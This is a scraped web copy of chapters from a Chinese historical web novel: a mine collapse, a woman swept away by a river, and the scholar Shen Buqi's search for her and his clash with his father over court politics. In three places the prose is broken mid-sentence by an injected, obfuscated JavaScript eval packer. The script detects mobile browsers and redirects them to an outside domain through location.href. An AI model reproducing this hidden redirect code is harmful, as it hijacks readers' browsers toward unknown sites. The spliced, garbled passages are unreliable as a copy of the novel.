水很快煮沸,他从包袱里翻出纸包的糖,往水里丢了两颗。 二人无言喝完糖水,周身都暖和几分,沈三看了看外头雨势,道:“苏姑娘,下山吧。” 走出寺庙,林中雾气湿冷,头顶茂密的枝叶挡住雨势,只时不时落下几颗水珠,轻轻砸在身上。 沈三将唯一一件油帔给了她,走在前开路。宋云谣跟在他身后,默不作声打量着周遭地势,思绪飞转。 走了约莫一个时辰,雨势渐停,二人在一条急流宽阔的溪水边停下歇脚。 此处在山阴背坡,只生了几颗荒木,站在溪流的大石仰头看,隐约可见山崖上嵌着一个巨大的坑洞,灰白的山石如同白骨般袒露着。 沈三在溪边洗了把脸,又给她递了张干净的帕子,道:“这应当曾是个矿洞。” 宋云谣接过帕子,擦了擦额上的汗珠。 她自然知道这是矿洞。 王攀统管矿税、位高权重,不可能事事亲临,底下总要有人为之奔走。 陈茂良早就盯上了这肥差,四处摸寻门道、企图趋附不说,更是对王攀在浙江的种种行径了若指掌,闲来也会指着舆图说与她听。 其中,平溪如何陷入挖矿脉、耗财力、重矿税、填亏空的陷阱中,又如何被王攀搅得民怨沸腾的种种,她记忆犹新。 只是那时,她心中一半为平溪百姓愤慨,另一半,却是对陈茂良话里的逢迎巴结、精明谋算而心惊。 商人重利。 黄白之物面前,平溪百姓算得了什么? 一个瘦马又算得了什么? 现在想来,或许她在那时便已然察觉到了某种即将降临的灾殃。 可她为何却对此视而不见呢? 宋云谣坐在溪边大石上,又陷入循环往复的谪问中,喘不过气。 沈三仰头看了一会儿那矿洞,目光幽深,叫人看不出情绪。半晌,他回头道:“此地不宜久居,咱们走吧。” 宋云谣如梦初醒,抬头勉强一笑,起身要跨过溪流上的大石,可神思恍惚,脚下一滑,差点落入溪水中。 好在沈三眼疾手快,长臂一伸,牢牢抓住宋云谣的手臂,将她拽到岸边。待她站稳,又迅速收回手,站到一旁。 “冒犯了。”沈三低声说。 膝盖以下落入冰凉的溪水中,宋云谣打了个寒颤,霎时清醒过来。 手臂上还留有沈三的温度,隐隐作痛,她不动声色甩甩手,心底几分诧异。 这沈三虽身姿英挺,却并不魁梧,看着只是寻常书生模样,没想到手劲如此之大。 若真与他起了正面冲突,恐怕胜算不大…… 暗自思忖中,只听他提醒道:“此处水流湍急,是山上几道水流汇集之处,直通山下桐江,若是被冲走,只怕有性命之忧。” 似是察觉自己语气有些严肃,他顿了顿,又温言劝慰:“再翻过前头那座山,便到镇上了,苏姑娘再坚持一二。” 宋云谣点头应是,看了眼身后的那条大溪,心脏一阵狂跳。 要赌一把吗? 说罢,沈三已经转身向前,宋云谣仍站在原地,频频向溪流下的幽林中张望。 梅雨近半月,水位上升,水流汹涌浑浊,白沫飞溅,其中暗石无数。 若当真落了水,还没被冲下桐江,恐怕就要摔个头破血流了。 踌躇间,前面忽然传来一道粗重的男声,朝他们大喊。 “站住——” 宋云谣回神望去,却见沈三面前站了三个黑衣汉子,手提斧镐,一脸凶相。他们不知从何处钻出,抱胸站作一排,挡住去路。 沈三警惕后退,站到宋云谣身前,将她牢牢挡在背后,平声道:“几位壮士,不知有何贵干?” 那三人甩着手里的铁斧镐头,步步紧逼,口中笑道:“你二人不巧,过了爷爷的路,交了税钱再走吧!” “却不知是何税?” 沈三姿态冷静、不卑不亢,宋云谣却看见他偷偷将手摸向了别在后腰的短刀。 “什么税?睁开你的驴眼看看,上头是朝廷的矿场,交的自然是朝廷的税!” “过山路还要交税,闻所未闻。”沈不器轻讽一声,又问,“敢问壮士姓甚名谁,可是朝廷的人?” “朝廷?爷爷我自然是朝廷的人。” 说话间,他们已经走上前,瞧见了宋云谣的模样,三人对视一眼,脸上露出几分淫邪之色,领头那人笑道:“我竟不知,还是对野鸳鸯!” “怎么,镇上还不够你住的,要将小娘子带到山里来快活?哈哈哈哈——” 此言一出,宋云谣只觉沈三目光一凛,周遭都凌冽几分。 “行了,废话少说,快把税钱交出来!” 只见沈三从腰侧解了荷包,抬手掷了过去。 领头那壮汉接过,在手里掂量掂量,递给旁边瘦猴儿一样的男人。瘦猴儿数了数里头碎银、铜钱,眼睛一转,在壮汉耳畔轻轻说了什么。 “啧。”那壮汉眯眯眼,“几个铜子就想把爷爷打发了,这位公子未免小气,我可听说,你那日去镇上花了有十两纹银都不止啊。” 宋云谣听出端倪,这帮人只怕之前就盯上沈三,眼下不知偶遇还是跟踪,总归要乘机敲上一笔。 而沈三神情淡漠,冷冷道:“我身上只有这么多。” “敢诓老子……”壮汉眉毛一竖,瘦猴儿抢话道:“既然身上没有,你就下山取呗!” “只是要将这女人留下,何时钱……税钱到了,你再把她带走!”其中一个盯了宋云谣许久的男人接话道。 沈三彻底冷下眸子,微微侧身,手彻底握住刀柄。 而那壮汉看出端倪,目光射向沈三藏在身后的手,厉呵一声:“敢和老子耍心眼!给我上!” 话音未落,三人猛然举起铁斧、镐头扑来,沈不器抽出短刀,拽住宋云谣腕子侧身一避,将将躲开迎面砸下的铁斧,反身将短刀刺向那壮汉的后背! 壮汉痛呼一声,沈三方才拔出刀,另外两人已然扑了过来,他狼狈躲闪,寻机将宋云谣推了出去。 “快跑!” 沈三只留下这句话,持刀便与三人扭打起来。宋云谣被推了个踉跄,心中惊恐万分,下意识拔腿就要往前逃跑! 可身后刀斧相接、铮鸣声声不断,她仓惶转身,却见他以一敌三,手里不过一把短刀,只能勉力抵抗。 宋云谣心中挣扎,咬紧下唇,四下梭巡几眼,热血上涌,不知哪儿来的气力,抱起路边一块滚石就冲了上前! 四人扭打在一起,宋云谣趁其不备,将滚石狠狠砸向那瘦猴儿的后背,瘦猴儿遽然受击,猝不及防摔倒在地。 而沈三一个滚身避开凛凛刀风,顺手捡起瘦猴儿滑落在地的铁镐,曲肘反击—— 瘦猴儿很快爬起身,可手中没有凶器,不敢冲进刀斧相斗的三人中,又杀红了眼,浑身杀意无处宣泄,暴呵一声,干脆抬脚踢向宋云谣! 宋云谣勉强躲开,却又被他扑倒在地,死死压住身体,双手紧紧箍住她的喉咙—— 熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480932|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的窒息感铺天盖地涌来,宋云谣拼命挣扎,指甲不停在他手背上抓挠。 不,不能死在这里。 她试图屈膝反击,可不过蚍蜉撼树,转瞬就被压下;另一只手在身侧砂石地上摸索,用力得骨节发白,终于摸到一块锐物。 我不想死! 宋云谣紧紧盯着身上那人的眼睛,生死之间,那双暴虐凶狠的陌生眼珠逐渐和记忆中的画面重合,她便也循着记忆中那般,高高举起锐物,用力砸向他的后脑—— 说时迟那时快,男人被人狠狠一踢,身子一歪,从她身上跌落。 她手中锐物落了空,脖颈重获自由,她大口喘息、用力咳嗽,眼泪很快模糊了视线。 “快走!” 沈三不知何时冲到了她面前,将她拉拽起来,急声问道:“还能走吗!” 宋云谣神魂未归,沈三直接将她打横抱起,起身向前飞奔。 可还没跑出几步,耳畔一道震天动地的巨响,她终于清醒过来,不可置信地望着眼前的一切—— 矿洞塌了。 横亘在山崖上的灰白石壁,如被刀削斧劈般,整块向下坠落。周围山石不停滚落,沙土奔涌进那条不宽的溪流中,如锅中沸腾的滚水,顷刻间便向外满溢。 眼前一切有如炼狱,宋云谣如遭雷击,眼睁睁看着那泥沙俱下的水流卷走躺在地上惊恐哀嚎的三人,转眼就消失在奔腾的急流之中! “抱紧我!” 身后泥沙滔滔,她紧紧搂住他的后脖,脸贴在他胸前,杂乱的心跳声中,听见他咬牙坚持的闷哼。 砂石滚流越追越快,不过几息就要追到他们脚下。 沈三剧烈喘息、不敢停歇,刚跨过拦路的巨石,眼前又出现一条宽大的溪流,千钧一发之刻,他躬身护住她的头,纵身跃过水道,可刚落地,岸边泥沙竟陡然坍塌,二人直直栽倒进湍流之中! “扑通——” 急流汹涌,不过瞬息二人便被冲开,被水流卷向下游。 越到下游,汇集的水流越多,水面越广、水道越深,几乎已被冲进桐江支流。 巨变突发,身体在水道中滚落几下,宋云谣撞得眼前发黑。 可落入水中的她反倒清醒过来,很快破开水面,在湍流中稳住身体,四处张望,终于看见不远处在江水中上下挣扎的沈三。 见他水性不佳,宋云谣心下一沉,奋力朝他游去,很快从身后抓住他的肩膀,架着他的身子,来不及往岸边游去,又被水冲向江中。 如此急流之中,宋云谣实在难以招架,只能寻机抓住一截浮木,二人合力抱住,在滚滚江水中起伏。 “苏……” 沈三一只手紧紧拉住宋云谣的手腕,想说什么,又被江水盖过。 宋云谣偏头看去,却见他紧紧盯着自己,形容狼狈,双眼里是她看不懂的深意。 她不明其意,只能狼狈扯出一个笑,下一瞬,又被一道浪头按进水中。 在江中沉浮约莫一刻钟,终于到了水道拐弯处,水中巨石散落,时不时磕在身体上,却也几次拦住他们怀抱的浮木。 二人都心知眼下时机难得,合力推动浮木,往江边的乱石凸起的地方游去。 终于,浮木被一块石头卡住,宋云谣一手抱住浮木,一手推搡沈三的后背,他总算逆流爬上巨石。 来不及歇口气,他刚要伸手拉起宋云谣,谁知远处又一根浮木飘来,浮木相撞,竟转了方向,推着她向远处飘去! 而宋云谣反应迅速,立时松开浮木,试图往沈三边游去,可刚游出两个身段,一个浪头遽然打来。 她朝他遥遥看来一眼,转瞬间,身影便消失在滚滚江流之中。 沈不器浑身僵直,死死盯着起伏的江水,以期奇迹发生。 可水面上再未冒出那道身影。 “苏姑娘!” 心中有个声音在高声呼喊,可他张了张口,喉舌像被人掐住,发不出一点声音。 周遭静得只有流水声。 短暂的呆愣后,他来不及多想,纵身跃入江中。 5.死讯 三日后,信安县衙。 四下无人,知县张训独坐堂中,思虑重重。端起茶啄了几口,往日最爱的阳羡茶,此刻在口中也如味同嚼蜡。 原因无他,三日前,平溪镇的矿山塌了。 那日清晨,镇西北山中一声巨响,岩壁崩裂,山洪滔滔,裹挟砂石林木冲入桐江。 一时间,暴雨如注、鸟兽四散,是平溪镇百年未见之景象。 消息传到县衙,知县却不见惊慌,只逐一安排人手确认灾情、上报藩台衙门等事宜。 稳坐厅堂不过半日,当夜,一个中年男人硬生生闯进县衙,拿出名帖腰牌,跪地哭求衙门救他家少爷,沈不器。 听清名字,张知县眼前一黑,险些晕过去。 沈不器是何人?致仕阁臣沈世丰的亲孙,刑部侍郎沈密的三子,当朝最年轻的探花。 塌个荒废三年的矿洞、死一两个乡民他尚且能对付,可沈不器若死在平溪,这事就闹大了! 他吓得腿软,连夜带人赶去。 许是一路求神告佛起了效,还未到平溪,沈家小厮便已在江边寻到沈不器。 听说他浑身泥水、形容狼狈,不知说了句什么,便力竭昏了过去。 如今人已送回县衙内宅,经大夫诊治,他轻微溺水、又受寒高热,好在底子不错,只要施针开药、将养过来,便无性命之忧。 可两天过去,沈不器仍未醒,小厮砚山已去信京城沈家与绍兴林家。 惶惶之余,他又不禁懊悔,怎么就接了这烫手山芋? 治好了,自己未必有功,可万一治不好,沈家、林家如何不怨上自己! 他长叹一声,重重扔下茶盏,在屋里摆踱不停。 焦头烂额之际,门外一串脚步,衙吏上气不接下气:“大人……醒了,醒了!” 闻言,张知县一把推开衙役,匆匆往内宅跑去。 他一路小跑,直到房门前才猛地停步,理了理衣袍。厢房内隐隐传来一道男声,沙哑却急切。 “……找着了吗?” “……小的只顾得及少爷……” 沉默的间隙,他恰时清了清嗓子,一阵脚步声,砚山从里开了门。 进屋绕过屏风,只见榻上沈不器背靠凭几、坐得端正,不似卧病之人。再细看,他面色苍白、难掩病态,反倒为本就清癯如松竹的风姿,平添了几分落拓风流。 见此情景,张知县不禁又暗自感叹:若只看容貌气度,这沈不器确实担得上探花郎之名。 思量间,还不等他开口,沈不器已起身下榻,深深行礼,“知县救命之恩,晚生没齿难忘。” 知县吓了一跳,赶忙将他扶到榻上。 二人寒暄一番,见沈不器姿态诚恳、不摆架子,又主动提起家书里写明了知县对他多有关照,张知县愁眉一展,心底舒爽不少。 祸兮福所倚,谁知眼前这位不是他张训的青云梯呢? 飘飘然之际,却听沈不器问道:“矿难过去三日,不知眼下平溪镇灾情如何?伤亡者如何?可有幸存者?” 张知县嘴角笑一僵,含糊道:“沈大人不必忧心,衙门已调人平溪,过几日便能送来消息。” 沈不器心下焦躁,却只能耐下性子。 “我身子无碍,只是当日有一位与我同行的姑娘,被江水冲走,还有三位矿工,也被山洪卷走……” 他简要阐明当日情形,盼着从知县口中得到消息、或借些人手,可知县却匆忙打断。 “沈大人恐怕弄错了,这矿场早已关了三年有余,工匠都撤走了,哪儿来的矿工呢? “况且这矿山上的人家早迁走了,想必伤亡不大。沈大人还是多保重身体,好生休养……” “矿场关了?” 他闻言一怔,还不待追问,张知县又接过话茬,视线飘忽、神情尴尬,几番顾左右而言他,尽是推脱敷衍之意。 沈不器慢慢回过味来,神情也淡了几分。 砚山恰时送药进来,知县顺势寻了个借口,只叫他好生休养,便匆匆离去。 屋内霎时一静,沈不器垂眸望着碗底的药渣,一言不发。他心中愠怒,周身愈发凛然,砚山站在一旁,大气不敢喘。 半晌,他搁下药碗,冷冷道:“收拾行李,让万管事出去雇车,再寻几个水性好的船夫,半个时辰后出发。” 砚山瞠目结舌:“主子,咱、咱去哪儿?” 沈不器盯着他,一字一顿道:“平溪。” 半个时辰后,县衙外车马齐备。沈不器穿戴整齐,拱手行礼作别,带着人马扬长而去,徒留知县站在原地,脸色铁青。 一路车马疾奔,几个时辰便抵达平溪镇。沈不器大病未愈,醒来不过半日,直接带着众人到江边寻人。 随行的船夫皆是身强力壮、熟谙水性之人,拿了不菲的银两,也不多话,当即便撑起舟楫,在桐江上下搜寻起来。 ——即便众人心中都明白,一个柔弱女子被江水冲走三日有余,能寻到尸骨,都算是上苍怜悯了。 江面宽阔,不似那日激浪汹涌,沈不器独立江边,又想起她被江波吞没前,向他投来的最后一眼。 他胸中沉沉,有些喘不过气。 “少爷……”砚山抱来氅衣为他披上,小声劝道,“江边湿冷,您大病未愈,要不小的先送您回镇上歇息?这儿有万管事盯着,一有消息,就给您送去。” “不必。”他简短道。 砚山还想劝几句,身后忽然一阵喧闹,六七个乡民冲了过来。 “贵人!求您救救我儿!”“我给您磕头了,快救救我孙子吧!” 衣衫褴褛的乡民们扑到面前,哭天抢地、跪倒一片。眼前乱作一团,沈不器连忙将人扶起,却发现其中竟有当初他借宿的那对老夫妇。 一问才知,他们儿孙大多在矿场做工,矿山塌后,家里人便下落不明。 好不容易等到官府来人,可衙吏只待了半日便离去。 走投无路之时,见沈不器大张旗鼓进山寻人,才起了念头,想求他帮忙。 乡民们形容狼狈、声泪俱下,可想起张知县先前所言,沈不器眉心微蹙,问道: “我听人说,这矿山已废弃三年,为何还会有工匠?” 果不其然,乡民们目光躲闪,吞吞吐吐半天,追问下终于道出实情。 矿场关停以来,平溪课税愈发沉重,百姓靠家中几亩薄田难以维持生计,要么典妻鬻子、自卖为奴,要么逃往别处、落草为寇。 而他们口中的“工匠”,早已沦为劫匪,在矿山周遭中流窜,借朝廷之名,打劫路过此地、不明真相的外乡人。 沈不器神情凝重,问起那几人的样貌、年纪。不出所料,走失的五人中,就有当日拦路挟持的三人。 望着他们希冀的双眼,沈不器沉默稍许,吩咐道:“万管事,你去镇上再雇些人手来,随他们进山。” 万大忙不迭应是,众人又要哭拜谢恩,沈不器拦住他们,平静开口。 “不必谢我。我虽答应帮诸位寻人,可有些话需说在前头。” 他将当日那三人拦路索要税钱不成、与他在山中打斗、最后被山洪冲走的情形一一说明,众人脸色遽变,两股战战,几欲逃跑。 万大与砚山这才知道此事,当即黑了脸,挡住几人去路。 “人,我会帮你们找。当日之事,我也不会再追究。但能不能找到……” 沈不器一顿,喉中苦涩,仿佛说给自己听,“就看诸位了。” 话毕,万大冷哼一声,带着惊魂未定、战战兢兢的乡民们往镇上去。 而那对老夫妇瘫软在地,满脸冷汗,竟站不起来了。 沈不器走到他们跟前,垂眸望着他们惊惧惨白的面孔。 那两碗腐败变质的素面,当真是无意吗? 他心底莫名生出一股倦意。 不必再问了。 “走吧。”他低声道。 - 此后几日,桐江上竹筏飘荡,船夫们上游下游来回搜寻,可沈不器没等来苏姑娘的音讯,却等来了他林家表兄,林锦程。 先前沈不器昏迷不醒,砚山手足无措,只能去信绍兴。而林家舅母收到信,当即便晕了过去。 沈不器千里迢迢为老夫人奔丧守孝,若在浙江出了事,林家如何对沈家交代? 林家上下炸了锅,还在军营练兵的舅舅林承宗,当即便要赶来平溪。 好在沈不器的亲笔书信后脚就送达,只说虚惊一场,自己身体并无大碍,叫舅舅家不必担忧。 即便如此,林承宗仍是不安,非要亲自见过他才放心。 可恰逢倭寇又有异动,林承宗公事在身走不开,只能将此事交给林锦程。 林锦程家中排行第四,只比沈不器大两岁,在浙江都司挂了个闲职,二人性格迥异,关系却亲厚。 他匆匆赶到平溪,本以为会在客栈看见卧榻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林锦程听得头疼,半晌,终于开口。 “官场之事,我没你懂。可有一件事,我比你清醒。” “什么?”沈不器望向他。 “五天了,你当真觉得,还能找到那姑娘?” 沈不器一顿,沉默下去。 林锦程走到他身侧,拍了拍他肩膀。 “三郎,我知道你心中有愧,自觉对不起那姑娘。 “可各人有各人的造化,有些事,强求不得。” 沈不器没有回应。 那日的对话不了了之,京城与绍兴的急信陆续送达,林锦程替他回了信,彻底没了脾气,万事随他去。 半月后,乡民们撑不住了,在矿难发生三七那天,纷纷抱着亲人留在家的衣裳,立了衣冠冢。 而那一日,在桐江西行二十里外的蒲草荡里,船夫捡到一件绵绸短衫。 送来时,短衫已在泥水中泡了几日,脏得不成样子。衣摆有刀割过的痕迹,翻开衣领,里衬绣了个指盖儿大小的“沈”字。 沈不器站在江边,死死盯着短衫,又想起她在江水中的最后一眼。 身后恰有送葬的队伍绕山而过,白衣执绋、纸钱漫天,哭嚎伴着丧乐,漫山喧嚣。 沈不器满心悲凉。 几日后,早已候在平溪渡口的客船升起碇石、解了木爪,朝京城驶去。 风轻雨歇,潮平岸阔,正是好归期。 船到钱塘,沈不器与林锦程分别。林家舅母带着表妹早已等候在岸,确认沈不器安全无虞后,纷纷落了泪。 沈不器早已不见在平溪时的偏执模样,他含笑宽慰舅母与表妹,虽大病初愈,清减不少,却仍是风清月朗、温润如玉。 归期在即,不容他再蹉跎,几人便只在城外设了桌饯别宴。 席上闲聊时,舅母悄悄告诉他,矿监税使王攀前阵子消失多日,舅舅林承宗从衙门打听到消息,似乎是他在游船玩乐时,醉酒失足、跌进江中,断了性命。 沈不器听后,愣怔许久。 这说法漏洞太多,他自然不大相信。 只是比起他扑朔迷离的死因,想起这半月来在平溪的种种,沈不器只觉荒唐。 山中不过半月,他竟也有几分烂柯之感了。 临别时,沈不器避开舅母、表妹,偷偷叫住林锦程。 “四哥,劳你帮我打探个消息。”沈不器顿了顿,“我要找杭州府,一户姓苏的人家。” 6.徒劳 船行数日,终于抵达京城。 沈家人早早在港口等候,一众仆从鞍前马后。马车驶入内城,进了昭回坊。 昭回坊尽是达官显要之所,沈府亦然。 沈家世代书宦,祖上也曾是勋爵人家,世袭三世爵位终了,又出了个科举入仕、官拜内阁的沈世丰。 而今独子沈密刑部任职,三个孙子亦举业有成,外人眼中,沈家是实打实的世代丰荣、长兴之相。 不多时,马车在一座水磨青砖的大宅院前停下。 这宅子早在沈家老祖宗时便御赐下来。后又得了皇帝恩赏,只改了违制之处,并未归公。 府内虽不见金玉奢靡,可陈设古朴、垒块玲珑,处处透着文士雅致之风。 时值傍晚,门廊上点起烛火。 暌违半载,沈不器刚踏入前厅,只见沈父端坐太师椅上,神态威严,面沉如水。仿佛眼前不是家宅,而是他惯常发号施令的刑部衙门。 而沈母林夫人坐在一旁,终于看见儿子,神情难掩激动,想迎上前,可看了眼沈父,又生生忍住。 室内气氛肃然,一众丫鬟婆子默默退出厅堂。 沈不器低眉敛目,上前行礼请安,却听沈父冷冷道: “跪下。” 沈不器二话不说,利落跪地。 “你可知,为何叫你跪?” “天地君亲师,爹娘生养之恩,为人子自然当跪。”说着,沈不器俯身跪拜,“此去数月,叫爹娘担忧挂牵,是孩儿不孝。” “呵。”沈父冷笑一声,“原来探花郎眼里还有我这个爹?” “朝官丁忧,期满需即日回京,家书寄去一封又一封,催你早日归京,你是如何做的?连信都是你林家表兄回的!” 沈父压抑怒气,踱至他跟前。 “朝官丁忧起复何其不易,更莫说官复原职!吏部大可拖你个三年五载,若非看在你祖父的面子、看在沈家的面子,你当真以为翰林院缺你一个七品编修?” 沈不器抿抿唇,闷头说道: “若非祖父与父亲坚持,沈家也不必为我起复之事,非要欠吏部一个情面。” “你的意思,是我与你祖父,不该让你回乡守这个孝?”沈父怒极反笑,“年初朝堂上何等局势,五年前又是何局面,你都忘了?” 沈不器垂眸不语。五年前的种种,他自然记得。 五年前那桩巫蛊案,天子雷霆之怒,血洗东宫。 前太子被废、拘禁宫中至今;詹事府官员或抄家斩首、或罢职流放,无一善终;数百宫人遭杖杀,单单是移尸宫外的车,便足足跑坏了三乘。 此事波及甚广,不少与太子有过往来的外臣都被卷入其中,绕过三司,直接下了诏狱。 其中一人,便是沈不器的老师,李昌唯。 一时间,满朝风雨、人人自危。此后几年,余威仍在。 直至今年年初,几位阁臣忽然上书请命,恳请圣上草立储诏。 而皇帝明面上搁置不谈,却在私下与阁臣面议国事时,破天荒提起废太子年少时曾做过的文章。 皇帝状似无意,可宫里没有傻子,朝中很快响起两种声音。 一方主张巫蛊案本就扑朔迷离、疑云重重,而废太子素有孝名,且为储多年,才干品性有口皆碑。言下之意,昭然若揭。 另一方则直接点破,大齐立国以来,从无废储再立的前例,礼法不可违,更不可擅开先河。 朝中争论纷纭,可巫蛊案毕竟涉及天家父子、神鬼之说,常人不便轻言。 兜兜转转,不知怎的,这把火烧到了沈不器身上。 想当初,李昌唯死在巫蛊案中,又是狱中自尽、以证清白这般颇具“气性”的死法,圣上对其理应心生厌弃。 可不过三载,便御笔钦点沈不器为探花郎——纵使他天赋奇才,可终究是李昌唯门下唯一的学生啊! 从前众人只当皇帝不计前嫌、礼贤下士,抑或是看重沈家,酌情厚待。 但如今看来,这又何尝不是皇帝对巫蛊案、对废太子,心中另有思量的佐证呢? 君心难测,沈不器就这样卷入了这场立储之争中。 可沈家能屹立朝中多年,自然深谙审时度势。 沈密很快发现,家中虽三令五申,不许沈不器掺和此事,可他表面听从,却在私下推波助澜,妄图撬动朝廷重启巫蛊案的调查。 得知此事,祖父沈世丰当即逼他往衙门递送折子,自请回乡丁忧,以脱困局。 而今一提起此事,沈密便难掩愠怒,恨铁不成钢。 “我原以为,我与你祖父一番苦心,你多少是明白的。 “立储之争,岂是你能掺和的?这点道理,你还不懂吗?” 沈不器忍不住攥紧手心。 他自然无意搅进立储之争中,可若想还老师清白,又怎能绕过巫蛊案? “刚把你从朝中摘出来,你倒好,转头就去蹚浙江那摊浑水!” 沈父越说越气,“我问你,浙江官场之事,与你一个翰林编修何干?是你能随便插手的吗?” 提及浙江,沈不器压抑许久的那根弦终于崩断。 “浙江?这二字于父亲而言,便只是官场上的争权夺利、蝇营狗苟么?” 他面无表情抬起头,想起在平溪的种种,连月的失意、沮丧、不甘,瞬间化作一股无名火,灼烧他的理智。 “父亲不在浙江,可我在。矿洞坍塌、山洪爆发,那是何等摧枯拉朽之力,父亲不曾见过,我见过! “山洪来势汹汹,生龙活虎的汉子,顷刻间就被洪流卷走,连一句呼救都没留下。前一刻才救起我的人,下一刻便被江水冲走,连尸身都无处寻!” 沈不器骤然爆发,沈父一惊,还未开口,又被他高声打断。 “矿难发生三日,从县衙到知府,就打发几个皂吏过来装模作样,半日不到便回衙门交差。 “山下房屋尽数被冲垮,矿工下落不明,百姓哭天喊地、跪地苦求,浙江上下只作视若无睹,连句场面话都懒得说! “若这便是大人口中的‘浑水’,那这滩‘浑水’,下官还蹚不得吗!” 沈不器牙关紧咬,双眼通红。 “下官不才,可也是自幼读圣贤之书,学君子之道长大;侥幸考中进士,又享朝廷俸禄,受百姓供养。 “下官就算再痴傻愚钝,别的不懂,‘为民’二字,‘恩义’二字,还不懂吗!” 他脊背僵直,可压抑的情绪早已决堤,理智也近乎崩盘,只想将这郁结于心的痛苦,一股脑发泄出来。 “还是大人久居京师,出入皇宫王府、往来高官巨贾,早已忘了在野的百姓,过的究竟是何等日子!” 此话一出,林夫人倒吸一口凉气。 而沈父面色涨红,胸膛剧烈起伏,当即暴呵一声,“当真是反了你了!” 他冲到沈不器面前,高高抬起手,停顿几息,又恨恨放下,怒斥道:“不知天高地厚的东西!” “刚出孝期,便为了个不知从哪来的女子兴师动众、要死要活!连官声都不放在眼里,为官之道,轮得到你这孽障来教训我? “若非我替你压着,此事早就传到吏部、传到都察院了!若我不是你亲爹,我非要参你一本!” 沈不器猛地抬起头,满眼不可置信,厉声辩驳。 “苏姑娘身世经历何其惨痛,若不是为了救我,也不会落水而亡!如今她尸骨未寒,父亲对我不满,冲我来便是,又何必辱她清白!” 沈父怒目圆瞪,怒不可遏,手指着他,声音直发颤。 “好啊,好啊!这就是我养出的好儿子!不过入仕两载,便负才使气,自以为是,不自量力!” 他气得发抖,往外疾走两步,“来人,来人!拿家法来!” 林夫人早就心急如焚,扑到沈不器跟前,哭劝道,“你怎能说出那样的话,快与你父亲认错!” 说罢,见沈不器不肯服软,林夫人又起身去拉扯沈密,恨恨道:“三郎刚回家,大病初愈,你要敢动手,我便和你不客气!” 沈密面色铁青,一口气顺不下来。 “琼娘,你……!” 门外,丫鬟婆子们也乱做一团,又哭又劝,一时间人仰马翻。 “够了。” 忽然,院中响起一道沉稳老迈的声音,众人霎时一静,让出一条道来。 只见一个白须老者走上前来。他步履稳健,不怒自威,目光转了一圈,落到沈密身上。 “闹成这样,成何体统。” 沈密深吸两口,理了理衣袖,努力平静下来,低声道:“爹,您来了。” 来人便是沈家太老爷,沈世丰。 他微微颔首,越过沉默退避的众人,走进屋中。 “三郎,随我来。” 沈不器此时已冷静下来,无言起身,跟着祖父离开。 绕过院门转角时,他余光看见沈父闭眼坐在椅上,满面疲态。而林夫人站在身侧,弯腰为他按着额角,一言不发。 他垂下眼眸,愧疚涌上心头,满腹苦涩,说不出什么滋味。 一路沉默走到荣安堂,二人在书案前坐下。下人进来奉茶水,沈世丰抿了口茶,才悠悠开口。 “在绍兴的五个月,如何?” 沈不器面不改色,轻描淡写道:“无非是守孝那些事,日子清静。几月下来,倒是同舅舅、舅母与几个表兄都亲近不少。” 沈世丰不置可否,放下茶盏,冷不丁道:“子显的手记,整理得如何?” 子显是李昌唯的表字。 沈不器握着茶盏的手一顿,轻叹一声:“什么都瞒不过您。” 祖父与老师虽性情迥异,却是实打实的多年好友。 沈不器儿时跟在祖父身边长大,三岁能拜在李昌唯门下,除却老师惜才,也有几分与祖父的情谊所在。 只是自李昌唯死后,他的名字,家中也鲜少再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566159|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人提起了。 沈不器沉默片刻,又问:“老师在杭州的旧宅,也是您给我递的消息吧。” 沈世丰慢慢站起身,背手踱步至窗前。 “杭州是他的伤心地。” 月影疏疏,映在他浑浊苍老的双眼里。 “那时他心灰意冷,不敢再回杭州,又割舍不下那宅子里的种种,便将地契、钥匙都交予我,让我替他打理。” 沈不器喃喃,“难怪那宅子没被朝廷抄没……” 他默了默,又道,“这么多年,明明您心里也挂念老师。” 沈世丰明白他言下之意,也读出他未尽的怨气,淡淡道:“三郎,你太年轻了。” 他转过身,目光锋利矍铄。 “你连区区一个平溪镇、一个信安知县都左右不了,又怎敢妄想左右一个朝廷?” 这话像凌空扇了他一巴掌,沈不器放在桌下的手不禁攥紧了。 “方才父亲骂得对,是我自以为是、自不量力。” 他满心羞惭,可想起那几条人命,又升起愤懑,“信安知县胆敢如此渎职,不过是背后有王攀撑腰罢了。” 沈世丰静静道:“三郎,这便是朝廷。” “一个七品知县,面对治下百姓的性命,尚且泰山崩于前而色不变。当年那桩巫蛊案里的数百人命,在朝廷眼里,你觉得,又有几人在乎?” “至少我在乎,您也在乎,不是么?” 沈不器紧紧盯着他。 沈世丰却道:“你我的在乎,违逆不了天意。万事若不顺应天时,只会适得其反。” 他不解。 沈世丰沉默片刻,道:“方才宫里传来消息,废太子薨了。” 脑海中一声轰鸣,沈不器如遭雷劈,霎时僵在原地。 “薨,薨了?” 沈世丰没有回答,只是静静看着他的脸色从震惊错愕,变得空白茫然。 他怔怔问:“祖父,这算什么呢?” 废太子薨了。 唯一了解那桩巫蛊案实情的人就这么死了。 